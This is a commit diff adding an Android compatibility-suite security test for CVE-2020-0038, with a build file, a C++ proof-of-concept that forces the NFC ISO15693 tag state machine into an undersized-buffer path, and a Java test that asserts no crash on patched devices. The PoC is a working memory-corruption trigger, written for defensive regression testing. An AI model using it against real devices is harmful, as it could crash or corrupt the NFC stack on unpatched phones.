CTS test for Android Security b/143109193
Bug: 143109193
Bug: 147841379
Test: Ran the new testcase on android-10.0.0_r39 with/without patch
Change-Id: Id5b1ee21538e0c687251cf69c0b953b7e61b3a0b
(cherry picked from commit ebd4875ee84a09a04c8c45073ee4abde0b30dad5)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
new file mode 100644
index 0000000..195d430
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0038",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
new file mode 100644
index 0000000..27acfe3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0038/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ free(ptr);
+}
+
+int main() {
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->state = RW_I93_STATE_UPDATE_NDEF;
+ p_i93->sub_state = RW_I93_SUBSTATE_RESET_LEN;
+ p_i93->block_size = 30;
+
+ enable_selective_overload = ENABLE_ALL;
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+
+ (p_data->data.p_data)->len = 10;
+ p_data->data.p_data->offset = 0;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ free(nfc_cb.quick_timer_queue.p_first);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+ /**
+ * b/143109193
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2020-03")
+ @Test
+ public void testPocCVE_2020_0038() throws Exception {
+ pocPusher.only64();
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+ }
+}